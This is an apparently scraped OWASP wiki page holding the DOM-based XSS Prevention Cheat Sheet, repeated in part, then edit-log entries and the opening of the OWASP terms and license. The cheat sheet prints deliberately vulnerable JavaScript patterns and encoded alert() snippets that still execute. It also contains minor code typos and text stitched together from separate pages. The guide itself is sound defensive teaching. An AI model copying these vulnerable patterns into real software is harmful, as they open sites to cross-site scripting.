The <code>doubleJavaScriptEncodedData</code> has its first layer of JavaScript encoding reversed (upon execution) in the single quotes. Then the implicit <code>eval()</code> of <code>setTimeout()</code> reverses another layer of JavaScript encoding to pass the correct value to <code>customFunction</code>. The reason why you only need to double JavaScript encode is that the <code>customFunction</code> function did not itself pass the input to another method which implicitly or explicitly called <code>eval()</code>. If "firstName" was passed to another JavaScript method which implicitly or explicitly called eval() then <code><%=doubleJavaScriptEncodedData%></code> above would need to be changed to <code><%=tripleJavaScriptEncodedData%></code>. 

An important implementation note is that if the JavaScript code tries to utilize the double or triple encoded data in string comparisons, the value may be interpreted as different values based on the number of evals() the data has passed through before being passed to the if comparison and the number of times the value was JavaScript encoded. 

If "A" is double JavaScript encoded then the following if check will return false. 

<code>
var x = "doubleJavaScriptEncodedA"; //\u005c\u0075\u0030\u0030\u0034\u0031
if (x == "A") {
alert("x is A");
} else if (x == "\u0041") {
alert("This is what pops");
}
</code>

This brings up an interesting design point. Ideally, the correct way to apply encoding and avoid the problem stated above is to server-side encode for the output context where data is introduced into the application. Then client-side encode (using a JavaScript encoding library such as ESAPI4JS) for the individual subcontext (DOM methods) which untrusted data is passed to. ESAPI4JS (located at http://bit.ly/9hRTLH) and jQuery Encoder (located at https://github.com/chrisisbeef/jquery-encoder/blob/master/src/main/javascript/org/owasp/esapi/jquery/encoder.js) are two client side encoding libraries developed by Chris Schmidt. 
Here are some examples of how they are used: 
<code>
var input = “<%=Encoder.encodeForJS(untrustedData)%>”; //server-side encoding
</code>
<code>
window.location = ESAPI4JS.encodeForURL(input); //URL encoding is happening in JavaScript
</code>
<code>
document.writeln(ESAPI4JS.encodeForHTML(input)); //HTML encoding is happening in JavaScript
</code>

It has been well noted by the group that any kind of reliance on a JavaScript library for encoding would be problematic as the JavaScript library could be subverted by attackers. One option is to wait till ECMAScript 5 so the JavaScript library could support immutable properties. 
Another option provided by Gaz (Gareth) was to use a specific code construct to limit mutability with anonymous clousures. 

An example follows: 

<code>
function escapeHTML(str) {
str = str + "''";
var out = "''";
for(var i=0; i<str.length; i++) {
if(str[i] === '<') {
out += '&lt;';
} else if(str[i] === '>') {
out += '&gt;';
} else if(str[i] === "'") {
out += '&#39;';
} else if(str[i] === '"') {
out += '&quot;';
} else {
out += str[i];
}
}
return out;
}
</code>

 Chris Schmidt has put together another implementation of a JavaScript encoder at http://yet-another-dev.blogspot.com/2011/02/client-side-contextual-encoding-for.html. 

6. Limit the usage of dynamic untrusted data to right side operations. And be aware of data which may be passed to the application which look like code (eg. <code>location</code>, <code>eval()</code>). (Achim) 
<code>
var x = “<%=properly encoded data for flow%>”;
</code>

If you want to change different object attributes based on user input use a level of indirection. 

Instead of: 

<code>
window[userData] = “moreUserData”;
</code>

Do the following instead: 
<code>
if (userData===”location”) {
window.location = “static/path/or/properly/url/encoded/value”;
}
</code>

7. When URL encoding in DOM be aware of character set issues as the character set in JavaScript DOM is not clearly defined (Mike Samuel). 

8. Limit access to properties objects when using object[x] accessors. (Mike Samuel). In other words use a level of indirection between untrusted input and specified object properties. 
Here is an example of the problem when using map types: 
<code>
var myMapType = {};
myMapType[<%=untrustedData%>] = “moreUntrustedData”;
</code>

Although the developer writing the code above was trying to add additional keyed elements to the <code>myMapType</code> object. This could be used by an attacker to subvert internal and external attributes of the <code>myMapType</code> object. 

9. Run your JavaScript in a ECMAScript 5 canopy or sand box to make it harder for your JavaScript API to be compromised (Gareth Heyes and John Stevens). 

10. Don’t <code>eval()</code> JSON to convert it to native JavaScript objects. Instead use <code>JSON.toJSON()</code> and <code>JSON.parse()</code> (Chris Schmidt).

= Common Problems Associated with Mitigating DOM Based XSS =
==Complex Contexts==
In many cases the context isn’t always straightforward to discern. 
<code>
<a href=”javascript:myFunction(‘<%=untrustedData%>’, 'test');”>Click Me</a>
...
<script>
Function myFunction (url,name) {
window.location = url;
}
</script>
</code>

In the above example, untrusted data started in the rendering URL context (<code>href</code> attribute of an <code><a></code> tag) then changed to a JavaScript execution context (<code>javascript:</code> protocol handler) which passed the untrusted data to an execution URL subcontext (<code>window.location</code> of myFunction). Because the data was introduced in JavaScript code and passed to a URL subcontext the appropriate server-side encoding would be the following: 

<code>
<a href=”javascript:myFunction(‘<%=Encoder.encodeForJS( ↩
Encoder.encodeForURL(untrustedData))%>’, 'test');”>Click Me</a>
…
</code>

Or if you were using ECMAScript 5 with an immutable JavaScript client-side encoding libraries you could do the following: 

<code>

<a href=”javascript:myFunction(‘<%=Encoder.encodeForJS(untrustedData)%>’, 'test');”>Click Me</a>
...
<script>
Function myFunction (url,name) {
var encodedURL = ESAPI4JS.encodeForURL(url); //URL encoding using client-side scripts
window.location = encodedURL;
}
</script>
</code>

== Inconsistencies of Encoding Libraries ==
There are a number of open source encoding libraries out there: 

#[[ESAPI]]
#Apache Commons String Utils
#Jtidy
#Your company’s custom implementation.

Some work on a black list while others ignore important characters like “<” and “>”. ESAPI is one of the few which works on a whitelist and encodes all non-alphanumeric characters.
It is important to use an encoding library that understands which characters can be used to exploit vulnerabilies in their respective contexts. Misconceptions abound related to the proper encoding that is required.

==Encoding Misconceptions==
Many security training curriculums and papers advocate the blind usage of HTML encoding to resolve XSS. This logically seems to be prudent advice as the JavaScript parser does not understand HTML encoding. However, if the pages returned from your web application utilize a content type of “text/xhtml” or the file type extension of “*.xhtml” then HTML encoding may not work to mitigate against XSS. 

For example: 

<code>
<script>
&#x61;lert(1);
</script>
</code>

The HTML encoded value above is still executable. If that isn’t enough to keep in mind, you have to remember that encodings are lost when you retrieve them using the value attribute of a DOM element. 

Let’s look at the sample page and script: 

<code>
<form name=”myForm” …>
<input type=”text” name=”lName” value=”<%=Encoder.encodeForHTML(last_name)%>”>
…
</form>
<script>
var x = document.myForm.lName.value; //when the value is retrieved the encoding is reversed
document.writeln(x); //any code passed into lName is now executable.
</script>
</code>

Finally there is the problem that certain methods in JavaScript which are usually safe can be unsafe in certain contexts. 

==Usually Safe Methods==

One example of an attribute which is thought to be safe is innerText. Some papers or guides advocate its use as an alternative to innerHTML to mitigate against XSS in innerHTML. However, depending on the tag which innerText is applied, code can be executed. Also note, innerText is non standard and is not supported in FireFox 

<code>
<script>
var tag = document.createElement(“script”);
tag.innerText = “<%=untrustedData%>”; //executes code
</script>
</code>

= Authors and Contributing Editors =

Jim Manico - jim[at]owasp.org 
Abraham Kang - abraham.kang[at]owasp.org 
Gareth (Gaz) Heyes 
Stefano Di Paola 
Achim Hoffmann - achim[at]owasp.org 
Robert (RSnake) Hansen 
Mario Heiderich 
John Steven 
Chris (Chris BEEF) Schmidt 
Mike Samuel 
Jeremy Long 
Eduardo (SirDarkCat) Alberto Vela Nava 
Jeff Williams - jeff.williams[at]owasp.org 
Erlend Oftedal
| valign="top" style="padding-left:25px;width:300px;border-right: 1px dotted gray;padding-right:25px;" |

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]]

DOM based XSS Prevention Cheat Sheet

2016-03-03T17:42:42Z

Thompsnm: /* Introduction */ - change 'different' to 'difference' based on context

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
= Introduction =
__TOC__{{TOC hidden}}

When looking at XSS (Cross-Site Scripting), there are three generally recognized forms of [[XSS]]. [[XSS#Stored_and_Reflected_XSS_Attacks | Reflected, Stored]], and [[DOM Based XSS]]. The [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheatsheet]] does an excellent job of addressing Reflected and Stored XSS. This cheatsheet addresses DOM (Document Object Model) based XSS and is an extension (and assumes comprehension of) the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheatsheet]].

In order to understand DOM based XSS, one needs to see the fundamental difference between Reflected and Stored XSS when compared to DOM based XSS. The primary difference is where the attack is injected into the application. Reflected and Stored XSS are server side injection issues while DOM based XSS is a client (browser) side injection issue. All of this code originates on the server, which means it is the application owner's responsibility to make it safe from XSS, regardless of the type of XSS flaw it is. Also, XSS attacks always execute in the browser. The difference between Reflected/Stored XSS is where the attack is added or injected into the application. With Reflected/Stored the attack is injected into the application during server-side processing of requests where untrusted input is dynamically added to HTML. For DOM XSS, the attack is injected into the application during runtime in the client directly.

When a browser is rendering HTML and any other associated content like CSS, javascript, etc. it identifies various rendering contexts for the different kinds of input and follows different rules for each context. A rendering context is associated with the parsing of HTML tags and their attributes. The HTML parser of the rendering context dictates how data is presented and laid out on the page and can be further broken down into the standard contexts of HTML, HTML attribute, URL, and CSS. The JavaScript or VBScript parser of an execution context is associated with the parsing and execution of script code. Each parser has distinct and separate semantics in the way they can possibly execute script code which make creating consistent rules for mitigating vulnerabilities in various contexts difficult. The complication is compounded by the differing meanings and treatment of encoded values within each subcontext (HTML, HTML attribute, URL, and CSS) within the execution context.

For the purposes of this article, we refer to the HTML, HTML attribute, URL, and CSS Cheatsheet contexts as subcontexts because each of these contexts can be reached and set within a JavaScript execution context. In JavaScript code, the main context is JavaScript but with the right tags and context closing characters, an attacker can try to attack the other 4 contexts using equivalent JavaScript DOM methods. 

The following is an example vulnerability which occurs in the JavaScript context and HTML subcontext: 

<code>
<script>
var x = ‘<%= taintedVar %>’;
var d = document.createElement(‘div’);
d.innerHTML = x;
document.body.appendChild(d);
</script>
</code>

Let’s look at the individual subcontexts of the execution context in turn.

==RULE #1 - HTML Escape then JavaScript Escape Before Inserting Untrusted Data into HTML Subcontext within the Execution Context==

There are several methods and attributes which can be used to directly render HTML content within JavaScript. These methods constitute the HTML Subcontext within the Execution Context. If these methods are provided with untrusted input, then an XSS vulnerability could result. For example:

===Example Dangerous HTML Methods===
====Attributes====
<code>
element.innerHTML = “<HTML> Tags and markup”;
element.outerHTML = “<HTML> Tags and markup”;
</code>

====Methods====
<code>
document.write(“<HTML> Tags and markup”);
document.writeln(“<HTML> Tags and markup”);
</code>

===Guideline===
To make dynamic updates to HTML in the DOM safe, we recommend a) HTML encoding, and then b) JavaScript encoding all untrusted input, as shown in these examples:

<code>
element.innerHTML = “<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>”;
element.outerHTML = “<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>”;
</code>

<code>
document.write(“<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>”);
document.writeln(“<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>”);
</code>

Note: The Encoder.encodeForHTML() and Encoder.encodeForJS() are just notional encoders. Various options for actual encoders are listed later in this document.

== RULE #2 - JavaScript Escape Before Inserting Untrusted Data into HTML Attribute Subcontext within the Execution Context ==

The HTML attribute *subcontext* within the *execution* context is divergent from the standard encoding rules. This is because the rule to HTML attribute encode in an HTML attribute rendering context is necessary in order to mitigate attacks which try to exit out of an HTML attributes or try to add additional attributes which could lead to XSS. When you are in a DOM execution context you only need to JavaScript encode HTML attributes which do not execute code (attributes other than event handler, CSS, and URL attributes).

For example, the general rule is to HTML Attribute encode untrusted data (data from the database, HTTP request, user, back-end system, etc.) placed in an HTML Attribute. This is the appropriate step to take when outputting data in a rendering context, however using HTML Attribute encoding in an execution context will break the application display of data.

=== SAFE but BROKEN example===
<code>
var x = document.createElement(“input”);
x.setAttribute(“name”, “company_name”);
// In the following line of code, companyName represents untrusted user input
// The Encoder.encodeForHTMLAttr() is unnecessary and causes double-encoding
x.setAttribute(“value”, ‘<%=Encoder.encodeForJS(Encoder.encodeForHTMLAttr(companyName))%>’);
var form1 = document.forms[0];
form1.appendChild(x);
</code>

The problem is that if companyName had the value “Johnson & Johnson”. What would be displayed in the input text field would be “Johnson &amp; Johnson”. The appropriate encoding to use in the above case would be only JavaScript encoding to disallow an attacker from closing out the single quotes and in-lining code, or escaping to HTML and opening a new script tag.

===SAFE and FUNCTIONALLY CORRECT example===
<code>
var x = document.createElement(“input”);
x.setAttribute(“name”, “company_name”);
x.setAttribute(“value”, ‘<%=Encoder.encodeForJS(companyName)%>’);
var form1 = document.forms[0];
form1.appendChild(x);
</code>

It is important to note that when setting an HTML attribute which does not execute code, the value is set directly within the object attribute of the HTML element so there is no concerns with injecting up.

==RULE #3 - Be Careful when Inserting Untrusted Data into the Event Handler and JavaScript code Subcontexts within an Execution Context==

Putting dynamic data within JavaScript code is especially dangerous because JavaScript encoding has different semantics for JavaScript encoded data when compared to other encodings. In many cases, JavaScript encoding does not stop attacks within an execution context. For example, a JavaScript encoded string will execute even though it is JavaScript encoded.

Therefore, the primary recommendation is to avoid including untrusted data in this context. If you must, the following examples describe some approaches that do and do not work.

<code>
var x = document.createElement("a");
x.href="#”;
// In the line of code below, the encoded data on the right (the second argument to setAttribute)
// is an example of untrusted data that was properly JavaScript encoded but still executes.
x.setAttribute("onclick", "\u0061\u006c\u0065\u0072\u0074\u0028\u0032\u0032\u0029");
var y = document.createTextNode("Click To Test");
x.appendChild(y);
document.body.appendChild(x);
</code>

The setAttribute(name_string,value_string) method is dangerous because it implicitly coerces the string_value into the DOM attribute datatype of name_string. In the case above, the attribute name is an JavaScript event handler, so the attribute value is implicitly converted to JavaScript code and evaluated. In the case above, JavaScript encoding does not mitigate against DOM based XSS. Other JavaScript methods which take code as a string types will have a similar problem as outline above (setTimeout, setInterval, new Function, etc.). This is in stark contrast to JavaScript encoding in the event handler attribute of a HTML tag (HTML parser) where JavaScript encoding mitigates against XSS. 

<code>

<a id="bb" href="#" onclick="\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029"> Test Me</a>
</code>

An alternative to using Element.setAttribute(...) to set DOM attributes is to set the attribute directly. Directly setting event handler attributes will allow JavaScript encoding to mitigate against DOM based XSS. Please note, it is always dangerous design to put untrusted data directly into a command execution context. 

<code>
<a id="bb" href="#"> Test Me</a>
</code>
<code>
//The following does NOT work because the event handler is being set to a string. "alert(7)" is JavaScript encoded.
document.getElementById("bb").onclick = "\u0061\u006c\u0065\u0072\u0074\u0028\u0037\u0029";

//The following does NOT work because the event handler is being set to a string.
document.getElementById("bb").onmouseover = "testIt";

//The following does NOT work because of the encoded "(" and ")". "alert(77)" is JavaScript encoded.
document.getElementById("bb").onmouseover = \u0061\u006c\u0065\u0072\u0074\u0028\u0037\u0037\u0029;

//The following does NOT work because of the encoded ";". "testIt;testIt" is JavaScript encoded.
document.getElementById("bb").onmouseover = \u0074\u0065\u0073\u0074\u0049\u0074\u003b\u0074\u0065\u0073\u0074\u0049\u0074;

//The following DOES WORK because the encoded value is a valid variable name or function reference. "testIt" is JavaScript encoded
document.getElementById("bb").onmouseover = \u0074\u0065\u0073\u0074\u0049\u0074;

function testIt() {

alert("I was called.");
}

</code>

There are other places in JavaScript where JavaScript encoding is accepted as valid executable code. 

<code>
for ( var \u0062=0; \u0062 < 10; \u0062++){
\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074
.\u0077\u0072\u0069\u0074\u0065\u006c\u006e
("\u0048\u0065\u006c\u006c\u006f\u0020\u0057\u006f\u0072\u006c\u0064");
}
\u0077\u0069\u006e\u0064\u006f\u0077
.\u0065\u0076\u0061\u006c
\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074
.\u0077\u0072\u0069\u0074\u0065(111111111);
</code>

or

<code>
var s = "\u0065\u0076\u0061\u006c";
var t = "\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029";
window[s](t);
</code>

Because JavaScript is based on an international standard (ECMAScript), JavaScript encoding enables the support of international characters in programming constructs and variables in addition to alternate string representations (string escapes).

However the opposite is the case with HTML encoding. HTML tag elements are well defined and do not support alternate representations of the same tag. So HTML encoding cannot be used to allow the developer to have alternate representations of the <code><a></code> tag for example.

===HTML Encoding’s Disarming Nature===

In general, HTML encoding serves to castrate HTML tags which are placed in HTML and HTML attribute contexts.
Working example (no HTML encoding):

<code>
<a href=”…” >
</code>

Normally encoded example (Does Not Work – DNW):

<code>
&#x3c;a href=… &#x3e;
</code>

HTML encoded example to highlight a fundamental difference with JavaScript encoded values (DNW):

<code>
<&#x61; href=…>
</code>

If HTML encoding followed the same semantics as JavaScript encoding. The line above could have possibily worked to render a link. This difference makes JavaScript encoding a less viable weapon in our fight against XSS.

==RULE #4 - JavaScript Escape Before Inserting Untrusted Data into the CSS Attribute Subcontext within the Execution Context==

Normally executing JavaScript from a CSS context required either passing <code>javascript:attackCode()</code> to the CSS url() method or invoking the CSS expression() method passing JavaScript code to be directly executed. From my experience, calling the expression() function from an execution context (JavaScript) has been disabled. In order to mitigate against the CSS url() method, ensure that you are URL encoding the data passed to the CSS url() method.

<code>
document.body.style.backgroundImage = "url(<%=Encoder.encodeForJS(Encoder.encodeForURL(companyName))%>)";
</code>

TODO: We have not been able to get the expression() function working from DOM JavaScript code. Need some help.

== RULE #5 - URL Escape then JavaScript Escape Before Inserting Untrusted Data into URL Attribute Subcontext within the Execution Context ==

The logic which parses URLs in both execution and rendering contexts looks to be the same. Therefore there is little change in the encoding rules for URL attributes in an execution (DOM) context.

var x = document.createElement(“a”);
x.setAttribute(“href”, ‘<%=Encoder.encodeForJS(Encoder.encodeForURL(userRelativePath))%>’);
var y = document.createTextElement(“Click Me To Test”);
x.appendChild(y);
document.body.appendChild(x);

If you utilize fully qualified URLs then this will break the links as the colon in the protocol identifier (“http:” or “javascript:”) will be URL encoded preventing the “http” and “javascript” protocols from being invoked.

== RULE #6 - Populate the DOM using safe JavaScript functions or properties ==

The most fundamental safe way to populate the DOM with untrusted data is to use the safe assignment property, textContent. Here is an example of safe usage.

<code>
<script>
element.textContent = “<%=untrustedData%>”; //does not executes code
</script>
</code>

=Guidelines for Developing Secure Applications Utilizing JavaScript=

DOM based XSS is extremely difficult to mitigate against because of its large attack surface and lack of standardization across browsers. The guidelines below are an attempt to provide guidelines for developers when developing Web based JavaScript applications (Web 2.0) such that they can avoid XSS.

1. Untrusted data should only be treated as displayable text. Never treat untrusted data as code or markup within JavaScript code. 
2. Always JavaScript encode and delimit untrusted data as quoted strings when entering the application (Jim Manico and Robert Hansen) 
<code>
var x = “<%=encodedJavaScriptData%>”;
</code>
3. Use <code>document.createElement(“…”), element.setAttribute(“…”,”value”), element.appendChild(…)</code>, etc. to build dynamic interfaces. Please note, element.setAttribute is only safe for a limited number of attributes. Dangerous attributes include any attribute that is a command execution context, such as onclick or onblur. Examples of safe attributes includes align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width. 
4. Avoid use of HTML rendering methods: 
#<code>element.innerHTML = “…”; </code>
#<code>element.outerHTML = “…”; </code>
#<code>document.write(…); </code>
#<code>document.writeln(…); </code> 
5. Understand the dataflow of untrusted data through your JavaScript code. If you do have to use the methods above remember to HTML and then JavaScript encode the untrusted data (Stefano Di Paola). 
6. There are numerous methods which implicitly eval() data passed to it. Make sure that any untrusted data passed to these methods is delimited with string delimiters and enclosed within a closure or JavaScript encoded to N-levels based on usage, and wrapped in a custom function. Ensure to follow step 4 above to make sure that the untrusted data is not sent to dangerous methods within the custom function or handle it by adding an extra layer of encoding. 

Utilizing an Enclosure (as suggested by Gaz)

The example that follows illustrates using closures to avoid double JavaScript encoding.

<code>
setTimeout((function(param) { return function() {
customFunction(param);
}
})("<%=Encoder.encodeForJS(untrustedData)%>"), y);
</code>

The other alternative is using N-levels of encoding. 

N-Levels of Encoding 

If your code looked like the following, you would need to only double JavaScript encode input data.

<code>
setTimeout(“customFunction(‘<%=doubleJavaScriptEncodedData%>’, y)”);
function customFunction (firstName, lastName)
alert("Hello" + firstName + " " + lastNam);
}
</code>

The <code>doubleJavaScriptEncodedData</code> has its first layer of JavaScript encoding reversed (upon execution) in the single quotes. Then the implicit <code>eval()</code> of <code>setTimeout()</code> reverses another layer of JavaScript encoding to pass the correct value to <code>customFunction</code>. The reason why you only need to double JavaScript encode is that the <code>customFunction</code> function did not itself pass the input to another method which implicitly or explicitly called <code>eval()</code>. If "firstName" was passed to another JavaScript method which implicitly or explicitly called eval() then <code><%=doubleJavaScriptEncodedData%></code> above would need to be changed to <code><%=tripleJavaScriptEncodedData%></code>. 

An important implementation note is that if the JavaScript code tries to utilize the double or triple encoded data in string comparisons, the value may be interpreted as different values based on the number of evals() the data has passed through before being passed to the if comparison and the number of times the value was JavaScript encoded. 

If "A" is double JavaScript encoded then the following if check will return false. 

<code>
var x = "doubleJavaScriptEncodedA"; //\u005c\u0075\u0030\u0030\u0034\u0031
if (x == "A") {
alert("x is A");
} else if (x == "\u0041") {
alert("This is what pops");
}
</code>

This brings up an interesting design point. Ideally, the correct way to apply encoding and avoid the problem stated above is to server-side encode for the output context where data is introduced into the application. Then client-side encode (using a JavaScript encoding library such as ESAPI4JS) for the individual subcontext (DOM methods) which untrusted data is passed to. ESAPI4JS (located at http://bit.ly/9hRTLH) and jQuery Encoder (located at https://github.com/chrisisbeef/jquery-encoder/blob/master/src/main/javascript/org/owasp/esapi/jquery/encoder.js) are two client side encoding libraries developed by Chris Schmidt. 
Here are some examples of how they are used: 
<code>
var input = “<%=Encoder.encodeForJS(untrustedData)%>”; //server-side encoding
</code>
<code>
window.location = ESAPI4JS.encodeForURL(input); //URL encoding is happening in JavaScript
</code>
<code>
document.writeln(ESAPI4JS.encodeForHTML(input)); //HTML encoding is happening in JavaScript
</code>

It has been well noted by the group that any kind of reliance on a JavaScript library for encoding would be problematic as the JavaScript library could be subverted by attackers. One option is to wait till ECMAScript 5 so the JavaScript library could support immutable properties. 
Another option provided by Gaz (Gareth) was to use a specific code construct to limit mutability with anonymous clousures. 

An example follows: 

<code>
function escapeHTML(str) {
str = str + "''";
var out = "''";
for(var i=0; i<str.length; i++) {
if(str[i] === '<') {
out += '&lt;';
} else if(str[i] === '>') {
out += '&gt;';
} else if(str[i] === "'") {
out += '&#39;';
} else if(str[i] === '"') {
out += '&quot;';
} else {
out += str[i];
}
}
return out;
}
</code>

 Chris Schmidt has put together another implementation of a JavaScript encoder at http://yet-another-dev.blogspot.com/2011/02/client-side-contextual-encoding-for.html. 

6. Limit the usage of dynamic untrusted data to right side operations. And be aware of data which may be passed to the application which look like code (eg. <code>location</code>, <code>eval()</code>). (Achim) 
<code>
var x = “<%=properly encoded data for flow%>”;
</code>

If you want to change different object attributes based on user input use a level of indirection. 

Instead of: 

<code>
window[userData] = “moreUserData”;
</code>

Do the following instead: 
<code>
if (userData===”location”) {
window.location = “static/path/or/properly/url/encoded/value”;
}
</code>

7. When URL encoding in DOM be aware of character set issues as the character set in JavaScript DOM is not clearly defined (Mike Samuel). 

8. Limit access to properties objects when using object[x] accessors. (Mike Samuel). In other words use a level of indirection between untrusted input and specified object properties. 
Here is an example of the problem when using map types: 
<code>
var myMapType = {};
myMapType[<%=untrustedData%>] = “moreUntrustedData”;
</code>

Although the developer writing the code above was trying to add additional keyed elements to the <code>myMapType</code> object. This could be used by an attacker to subvert internal and external attributes of the <code>myMapType</code> object. 

9. Run your JavaScript in a ECMAScript 5 canopy or sand box to make it harder for your JavaScript API to be compromised (Gareth Heyes and John Stevens). 

10. Don’t <code>eval()</code> JSON to convert it to native JavaScript objects. Instead use <code>JSON.toJSON()</code> and <code>JSON.parse()</code> (Chris Schmidt).

= Common Problems Associated with Mitigating DOM Based XSS =
==Complex Contexts==
In many cases the context isn’t always straightforward to discern. 
<code>
<a href=”javascript:myFunction(‘<%=untrustedData%>’, 'test');”>Click Me</a>
...
<script>
Function myFunction (url,name) {
window.location = url;
}
</script>
</code>

In the above example, untrusted data started in the rendering URL context (<code>href</code> attribute of an <code><a></code> tag) then changed to a JavaScript execution context (<code>javascript:</code> protocol handler) which passed the untrusted data to an execution URL subcontext (<code>window.location</code> of myFunction). Because the data was introduced in JavaScript code and passed to a URL subcontext the appropriate server-side encoding would be the following: 

<code>
<a href=”javascript:myFunction(‘<%=Encoder.encodeForJS( ↩
Encoder.encodeForURL(untrustedData))%>’, 'test');”>Click Me</a>
…
</code>

Or if you were using ECMAScript 5 with an immutable JavaScript client-side encoding libraries you could do the following: 

<code>

<a href=”javascript:myFunction(‘<%=Encoder.encodeForJS(untrustedData)%>’, 'test');”>Click Me</a>
...
<script>
Function myFunction (url,name) {
var encodedURL = ESAPI4JS.encodeForURL(url); //URL encoding using client-side scripts
window.location = encodedURL;
}
</script>
</code>

== Inconsistencies of Encoding Libraries ==
There are a number of open source encoding libraries out there: 

#[[ESAPI]]
#Apache Commons String Utils
#Jtidy
#Your company’s custom implementation.

Some work on a black list while others ignore important characters like “<” and “>”. ESAPI is one of the few which works on a whitelist and encodes all non-alphanumeric characters.
It is important to use an encoding library that understands which characters can be used to exploit vulnerabilies in their respective contexts. Misconceptions abound related to the proper encoding that is required.

==Encoding Misconceptions==
Many security training curriculums and papers advocate the blind usage of HTML encoding to resolve XSS. This logically seems to be prudent advice as the JavaScript parser does not understand HTML encoding. However, if the pages returned from your web application utilize a content type of “text/xhtml” or the file type extension of “*.xhtml” then HTML encoding may not work to mitigate against XSS. 

For example: 

<code>
<script>
&#x61;lert(1);
</script>
</code>

The HTML encoded value above is still executable. If that isn’t enough to keep in mind, you have to remember that encodings are lost when you retrieve them using the value attribute of a DOM element. 

Let’s look at the sample page and script: 

<code>
<form name=”myForm” …>
<input type=”text” name=”lName” value=”<%=Encoder.encodeForHTML(last_name)%>”>
…
</form>
<script>
var x = document.myForm.lName.value; //when the value is retrieved the encoding is reversed
document.writeln(x); //any code passed into lName is now executable.
</script>
</code>

Finally there is the problem that certain methods in JavaScript which are usually safe can be unsafe in certain contexts. 

==Usually Safe Methods==

One example of an attribute which is thought to be safe is innerText. Some papers or guides advocate its use as an alternative to innerHTML to mitigate against XSS in innerHTML. However, depending on the tag which innerText is applied, code can be executed. Also note, innerText is non standard and is not supported in FireFox 

<code>
<script>
var tag = document.createElement(“script”);
tag.innerText = “<%=untrustedData%>”; //executes code
</script>
</code>

= Authors and Contributing Editors =

Jim Manico - jim[at]owasp.org 
Abraham Kang - abraham.kang[at]owasp.org 
Gareth (Gaz) Heyes 
Stefano Di Paola 
Achim Hoffmann - achim[at]owasp.org 
Robert (RSnake) Hansen 
Mario Heiderich 
John Steven 
Chris (Chris BEEF) Schmidt 
Mike Samuel 
Jeremy Long 
Eduardo (SirDarkCat) Alberto Vela Nava 
Jeff Williams - jeff.williams[at]owasp.org 
Erlend Oftedal
| valign="top" style="padding-left:25px;width:300px;border-right: 1px dotted gray;padding-right:25px;" |

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]]

Authentication Cheat Sheet

2016-03-02T21:24:59Z

Thompsnm: /* OAuth */ - clarify subject in the statement '...however does not rely on HTTPS for security and can therefore...'

Authentication Cheat Sheet

2016-03-02T21:21:09Z

Thompsnm: /* OpenId */ - pluralize 'environment' in 'For non-enterprise environment, OpenId is considered...'

Authentication Cheat Sheet

2016-03-02T21:19:24Z

Thompsnm: /* SAML */ - clarify and correct use of pronouns when comparing SAML to OpenId, especially one instance in which SAML was implied to be unlike itself.

Authentication Cheat Sheet

2016-03-02T21:10:58Z

Thompsnm: /* Use of authentication protocols that require no password */ - change subject to match verb conjugation in the phrase 'An example of this are third party...'

Authentication Cheat Sheet

2016-03-02T21:07:30Z

Thompsnm: /* Transmit Passwords Only Over TLS or Other Strong Transport */ - remove superfluous 'the' in '...for authenticated pages after the login enables an attacker...'

Authentication Cheat Sheet

2016-03-02T21:04:45Z

Thompsnm: /* Email address as a User ID */ - change 'validation email addresses' to 'validating email addresses'

OWASP:Terms of Service

2016-03-02T20:59:59Z

Thompsnm: /* OWASP Wiki Contribution License Agreement */ - add line spacing to standardize section header display and improve readability in license agreement

==OWASP Contributor Agreement==

I hereby grant to OWASP a non-exclusive, irrevocable, worldwide, no-charge, transferable copyright license to use, execute, prepare derivative works of, and distribute (internally and externally) all contributions made to OWASP via this website. I understand that these contributions will be made available by OWASP under the Creative Commons Share-Alike 3.0 license below and subsequent versions of that license. If you accept this agreement and the terms of the license, select the "I agree" checkbox to confirm your acceptance. In addition, by selecting the "I agree" checkbox, you represent to OWASP that you alone created these contributions, and that you are legally entitled to make these contributions. If a third party, such as your employer, may have rights to the material, you represent that you have received permission to make these contributions. In addition, you agree to notify OWASP of any facts or circumstances that would make your representations in this agreement inaccurate in any respect.

==OWASP Wiki Contribution License Agreement==

Attribution-ShareAlike 3.0

CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE.
License

THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.

